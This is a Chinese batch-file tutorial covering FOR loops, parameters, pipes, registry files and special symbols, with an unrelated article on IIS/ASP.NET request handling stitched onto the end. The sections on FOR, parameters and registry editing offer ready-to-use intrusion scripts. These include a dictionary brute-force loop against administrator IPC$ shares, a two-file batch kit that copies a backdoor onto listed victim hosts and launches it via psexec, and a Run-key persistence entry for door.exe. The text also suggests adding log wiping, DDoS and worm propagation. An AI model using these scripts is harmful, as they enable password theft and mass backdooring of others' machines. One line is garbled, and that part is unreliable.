for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\’command\’) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\’command\’) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c – 指一个行注释字符的结尾(就一个)
skip=n – 指在文件开始时忽略的行数
delims=xxx – 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq – 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 \’z\’ 或
\’Z\’ 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I – 删除任何引号("),扩充 %I
%~fI – 将 %I 扩充到一个完全合格的路径名
%~dI – 仅将 %I 扩充到一个驱动器号
%~pI – 仅将 %I 扩充到一个路径
%~nI – 仅将 %I 扩充到一个文件名
%~xI – 仅将 %I 扩充到一个文件扩展名
%~sI – 扩充的路径只含有短名
%~aI – 将 %I 扩充到文件的文件属性
%~tI – 将 %I 扩充到文件的日期/时间
%~zI – 将 %I 扩充到文件的大小
%~$PATH:I – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI – 仅将 %I 扩充到一个驱动器号和路径
%~nxI – 仅将 %I 扩充到一个文件名和扩展名
%~fsI – 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI – 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\\\ip\\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\\\ip\\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\\\ip\\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
————— cut here then save as a batchfile(I call it main.bat ) —————————
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
————— cut here then save as a batchfile(I call it main.bat ) ————————–
——————- cut here then save as a batchfile(I call it door.bat) —————————–
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
—————– cut here then save as a batchfile(I call it door.bat) ——————————–
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\\>dir z: & dir c:\\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rc
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一条命令 && 第二条命令 [&& 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;
Sample:
C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.
C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)
3.||
Usage:第一条命令 || 第二条命令 [|| 第三条命令...]
用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;
Sample:
C:\\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
组合命令使用的例子:
sample:
@copy trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。
sample:
time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explore
看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。
2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。
sample1:
echo hello world>c:\\hello.txt (stupid example?)
sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD–转换目录到system32–dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。
3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。
No.5
五.如何用批处理文件来操作注册表
在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除
1.创建
创建分为两种,一种是创建子项(Subkey)
我们创建一个文件,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft下创建了一个名字为“hacker”的子项。
另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Invader"="Ex4rch"
"Door"=C:\\\\WINNT\\\\system32\\\\door.exe
"Autodos"=dword:02
这样就在[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”
2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。
3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下的"Ex4rch"就被删除了;
批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
1、 REM
REM 是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:
REM 你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。
2、 ECHO
ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例:
Echo off
Rem 以上代表关闭回显即不显示所执行的命令
Echo 这个就是消息。
Rem 以上代表显示"这就是消息"这列字符
执行结果:
C:\>ECHO.BAT
这个就是消息。
3、 GOTO
GOTO 即为跳转的意思。在批处理中允许以":XXX"来构建一个标号然后用GOTO :标号直接来执行标号后的命令。例
:LABEL
REM 上面就是名为LABEL的标号。
DIR C:\
DIR D:\
GOTO LABEL
REM 以上程序跳转标号LABEL处继续执行。
4、CALL
CALL 命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。例:
批处理2.BAT内容如下:
ECHO 这就是2的内容
批处理1.BAT内容如下:
ECHO 这是1的内容
CALL 2.BAT
ECHO 1和2的内容全部显示完成
执行结果如下:
C:\>1.BAT
这是1的内容
这就是2的内容
1和2的内容全部显示完成
5、PAUSE
PAUSE 停止系统命令的执行并显示下面的内容。例:
C:\> PAUSE
请按任意键继续 . . .
6、 IF
IF 条件判断语句,语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
说明:
[NOT] 将返回的结果取反值即"如果没有"的意思。
ERRORLEVEL 是命令执行完成后返回的退出值
Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。
string1==string2 string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的 command
EXIST filename 为文件或目录存在的意思。
IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。
例:
1、 IF [NOT] ERRORLEVEL number command
检测命令执行完后的返回值做出判断。
echo off
dir z:
rem 如果退出代码为1(不成功)就跳至标题1处执行
IF ERRORLEVEL 1 goto 1
rem 如果退出代码为0(成功)就跳至标题0处执行
IF ERRORLEVEL 0 goto 0
:0
echo 命令执行成功!
Rem 程序执行完毕跳至标题exit处退出
goto exit
:1
echo 命令执行失败!
Rem 程序执行完毕跳至标题exit处退出
goto exit
:exit
Rem 这里是程序的出口
2、 IF string1==string2 command
检测当前变量的值做出判断
ECHO OFF
IF %1==2 goto no
Echo 变量相等!
Goto exit
:no
echo 变量不相等
goto exit
:exit
大家可以这样看效果 C:\>test.bat 数字
3、 IF [NOT] EXIST filename command
发现特定的文件做出判断
echo off
IF not EXIST autoexec.bat goto 1
echo 文件存在成功!
goto exit
:1
echo 文件不存在失败!
goto exit
:exit
这个批处理大家可以放在c盘和d盘分别执行看看效果。
7、 FOR
FOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。在批处理中FOR的命令如下:
FOR [%%c] IN (set) DO [command] [arguments]
在命令行中命令如下:
FOR [%c] IN (set) DO [command] [arguments]
常用参数:
/L 该集表示以增量形式从开始到结束的一个数字序列。因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
/D 如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
/F 从指定的文件中读取数据作为变量
eol=c – 指一个行注释字符的结尾(就一个)
skip=n – 指在文件开始时忽略的行数。
delims=xxx – 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n – 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
usebackq – 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。
下面来看一个例子:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 ‘z’ 或’Z’ 的变量。请记住,FOR 变量名分大小写,是通用的;而且,同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
以下列举一个简单的例子,他将说明参数/L和没有参数的区别:
删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
例:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT
或
FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
以上2条命令执行的结果都是一样的如下:
C:\>DEL 1.TXT
C:\>DEL 2.TXT
C:\>DEL 3.TXT
C:\>DEL 4.TXT
C:\>DEL 5.TXT
8、 SETLOCAL
开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后
所做的环境改动只限于批处理文件。要还原原先的设置,必须执
行 ENDLOCAL。 达到批处理文件结尾时,对于该批处理文件的每个
尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被
执行。例:
@ECHO OFF
SET PATH /*察看环境变量PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*重新设置环境变量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。
9、 SHIFT
SHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
执行结果如下:
C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上就是基于WIN2000下的9个批处理命令。
第二部分:特殊的符号与批处理
在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。
1、 符号(@)
@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求
2、 符号(>)
>的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:
文件1.txt的文件内容为:
1+1
使用命令c:\>dir *.txt >1.txt
这时候1.txt的内容如下
驱动器 C 中的卷没有标签。
卷的序列号是 301A-1508
C:\ 的目录
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文件 18,630,070 字节
0 个目录 1,191,542,784 可用字节
>将命令执行的结哺橇嗽嫉奈募谌荨?
在传递给控制台的时候程序将不会有任何回显(注意:这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:
C:\>dir *.txt >nul
程序将没有任何显示也不会产生任何痕迹。
3、 符号(>>)
符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:
文件1.txt内同为:
1+1
使用命令c:\>dir *.txt >>1.txt
这时候1.txt的内容如下
1+1
驱动器 C 中的卷没有标签。
卷的序列号是 301A-1508
C:\ 的目录
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文件 18,630,070 字节
0 个目录 1,191,542,784 可用字节
>>将命令执行的结果覆加在了原始的文件内容后面。
4、 符号(|)
|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例:
C:\>dir c:\|find "1508"
卷的序列号是 301A-1508
以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用 find /?自行查看
在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的
echo y|fornat a: /s /q /v:system
用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)
5、 符号(^)
^ 是对特殊符号 > 、<、 &、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例:
c:\>echo test ^> 1.txt
test > 1.txt
从上面可以看出并没有把test写入文件1.txt而是将test >1.txt 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。
6、 符号(&)
&符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。例:
c:\> dir z:\ &dir y:\ &dir c:\
以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。
7、 符号(&&)
&&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。例:
c:\> dir z:\ &&dir y:\ &&dir c:\
以上的命令将会提示检查是否存在z:盘如果存在则执行,如果不存在则停止执行所有的后续命令
8、 符号(" ")
" "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例:
c:\>cd "Program Files"
c:\>cd progra~1
c:\>cd pro*
以上方法都可以进入Program Files目录
9、 符号(,)
,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例:
c:\>dir,c:\
10、 符号(;)
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例:
DIR C:\;D:\;E:\F:\
以上的命令相当于
DIR C:\
DIR D:\
DIR E:\
DIR F:\
当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。
IIs工作原理
2009年11月13日,星期五引言
我查阅过不少Asp.Net的书籍,发现大多数作者都是站在一个比较高的层次上讲解Asp.Net。他们耐心、细致地告诉你如何一步步拖放控件、设置控件属性、编写CodeBehind代码,以实现某个特定的功能。
这种做法,实际上是回答了“如何去做”的问题,却没有回答“为什么可以这样做”的问题。
尽管我很推崇 悉江华 先生的《圣殿祭祀的Asp.Net开发详解》一书,但当我翻看了一下其对角色(Role) 和用户(Member)的讲解时,我决定跳过去直接读后面的章节。因为我发现他也随了大流,对这部分的讲解停留在“如何去做”的层面上。我相信像悉先生这样的牛人是不可能不了解底层运作原理的,仅仅是因为那本书原本就已经很厚了吧。
当你按“如何去做”所讲解的内容去开发程序的时候,对于你的用户,你仍是一名程序员;但对于实现了MembershipProvider 和 RoleProvider 抽象类的微软开发人员来说,你已经成了他们的一个用户。
你可能觉得了解这些幕后工作是如何运作的无关紧要,作为程序员的你只要保证开发出的程序可以高效地运行就可以了。然而,在开发过程中,你却发现常常需要使用诸如 HttpContext 这样的类。这个时候,你可曾思考过这些类的构成和类的实体是如何创建的?你可能简单地回答:HttpContext代表当前请求的一个上下文环境。可你又知道IIS 、Framework、Asp.Net 是如何协同工作处理每个Http请求、如何区分不同的请求、IIS、Framework、Asp.Net三者之间的数据如何流动么?
回答上面这些问题,首先需要了解IIS是如何处理页面请求的,这也是理解 Form验证模式和Windows 验证模式 的基础。
Http请求刚刚到达服务器的时候
当服务器接收到一个 Http请求的时候,IIS 首先需要决定如何去处理这个请求(NOTE:服务器处理一个.htm页面和一个.aspx页面肯定是不一样的么)。那IIS依据什么去处理呢?―― 根据文件的后缀名。
服务器获取所请求的页面(NOTE:也可以是文件,比如 jimmy.jpg)的后缀名以后,接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,并且这个文件也没有受到服务器端的保护(NOTE:一个受保护的例子就是 App_Code中的文件,一个不受保护的例子就是你的js脚本),那么IIS将直接把这个文件返还给客户端。
能够处理各种后缀名的应用程序,通常被称为 ISAPI 应用程序(NOTE:Internet Server Application Programe Interface,互联网服务器应用程序接口)。虽然这 ISAPI 听上去还挺气派,也算是“应用程序”呢,但仔细看看它的全称就明白了:它实际上只是一个接口,起到一个代理的作用,它的主要工作是映射所请求的页面(文件) 和与此后缀名相对应的实际的处理程序。
让我们更进一步地看一下 ISAPI ,看看它到底是什么样子,请按下面的步骤进行:
- 打开IIS。
- 选择随意一个站点,鼠标右键,“属性”。
- 选择“主目录”选项卡。
- 选择“配置”。
你应该会看到如下的画面:
图1. 应用程序配置

很清楚地就可以看到,所有IIS所能处理,或者叫 ISAPI 所提供代理服务的 文件类型 及其相对应的实际的后台处理程序都在这里清楚地列出来了。
我们找到 .aspx 的应用处理程序,然后点“编辑”,会出现下面的画面:
图2. 编辑.aspx文件的处理程序

一路看到这里,可以看出,所有的.aspx文件实际上都是由 aspnet_isapi.dll 这个程序来处理的,当IIS把对于.aspx页面的请求提交给了aspnet_isapi.dll以后,它就不再关心这个请求随后是如何处理的了。现在我们应该知道:Asp.Net 只是服务器(IIS)的一个组成部分而已,它是一个 ISAPI扩展。
这里需要注意两点:
- 当你修改“限制为”后,可以限制页面(文件)只能以某种特定方式访问
- “确认文件是否存在”是实现 URL 地址映射的关键选项,我以后会专门讲述。
理解宿主环境(Hosting)
从本质上讲,Asp.Net 主要是由一系列的类组成,这些类的主要目的就是将Http请求转变为对客户端的响应。HttpRuntime类是Asp.Net的一个主要入口,它有一个称作 ProcessRequest 的方法,这个方法以一个 HttpWorkerRequest 类作为参数。HttpRuntime 类几乎包含着关于单个 Http请求的所有信息:所请求的文件、服务器端变量、QueryString、Http 头信息 等等。Asp.Net 使用这些信息来加载、运行正确的文件,并且将这个请求转换到输出流中,一般来说,也就是HTML页面。
NOTE:卸载也是为了重新加载),Http请求被分放在相互隔离的应用程序域中。
对于IIS来说,它依赖一个叫做 HTTP.SYS 的内置驱动程序来监听来自外部的 HTTP请求。在操作系统启动的时候,IIS首先在HTTP.SYS中注册自己的虚拟路径。
如果请求的是一个可访问的URL,HTTP.SYS会将这个请求交给 IIS 工作者进程。
每个工作者进程都有一个身份标识 以及 一系列的可选性能参数。
接下来进行的事情就是上一章节讲述的 ISAPI 了。
除了映射文件与其对应的处理程序以外,ISAPI 还需要做一些其他的工作:
- 从HTTP.SYS中获取当前的Httq请求信息,并且将这些信息保存到 HttpWorkerRequest 类中。
- 在相互隔离的应用程序域AppDomain中加载HttpRuntime。
- 调用 HttpRuntime的ProcessRequest方法。
